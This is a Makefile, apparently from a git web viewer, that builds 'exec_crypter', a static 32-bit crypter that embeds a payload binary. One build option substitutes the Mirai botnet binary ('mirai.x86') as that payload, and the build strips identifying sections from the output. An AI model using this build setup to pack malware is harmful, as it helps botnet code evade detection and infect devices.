aboutsummaryrefslogtreecommitdiff
path: root/Makefile
blob: 973223137343b28ccd6d7913747341dfc4c74783 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
CC := gcc
AS := nasm
STRIP := strip
RM := rm
CP := cp
ASFLAGS := -felf32
CFLAGS := -Wall -std=c99 -Os -static -ffunction-sections -fdata-sections -flto -fPIC -m32 -D_DEFAULT_SOURCE=1
ifeq ($(NOTASKID),y)
CFLAGS += -D_NOTASKID=1
endif
ifeq ($(USE_MIRAI),y)
USE_PAYLOAD := mirai.x86
endif
ifeq ($(DEBUG),y)
CFLAGS += -g
endif


all: exec_crypter

ifeq ($(USE_PAYLOAD),)
exec_payload: exec_payload.c
	$(CC) $(CFLAGS) -o $@ $<
ifneq ($(DEBUG),y)
	$(STRIP) -s \
		--remove-section=.comment \
		--remove-section=.eh_frame \
		--remove-section=.comment \
		--remove-section=.jcr \
		--remove-section=.gcc_except_table \
		$@
endif
else
exec_payload: $(USE_PAYLOAD)
	$(CP) -v $(USE_PAYLOAD) $@
endif

include_payload.o: exec_payload include_payload.asm
	$(AS) $(ASFLAGS) -o $@ include_payload.asm

exec_crypter.o: exec_crypter.c
	$(CC) $(CFLAGS) -c -o $@ $<

exec_crypter: include_payload.o exec_crypter.o
	$(CC) $(CFLAGS) -o $@ include_payload.o exec_crypter.o
ifneq ($(DEBUG),y)
	$(STRIP) -s \
		--remove-section=.comment \
		--remove-section=.eh_frame \
		--remove-section=.comment \
		--remove-section=.jcr \
		--remove-section=.gcc_except_table \
		$@
endif

clean:
	$(RM) -f exec_payload include_payload.o exec_crypter.o exec_crypter .exec_crypter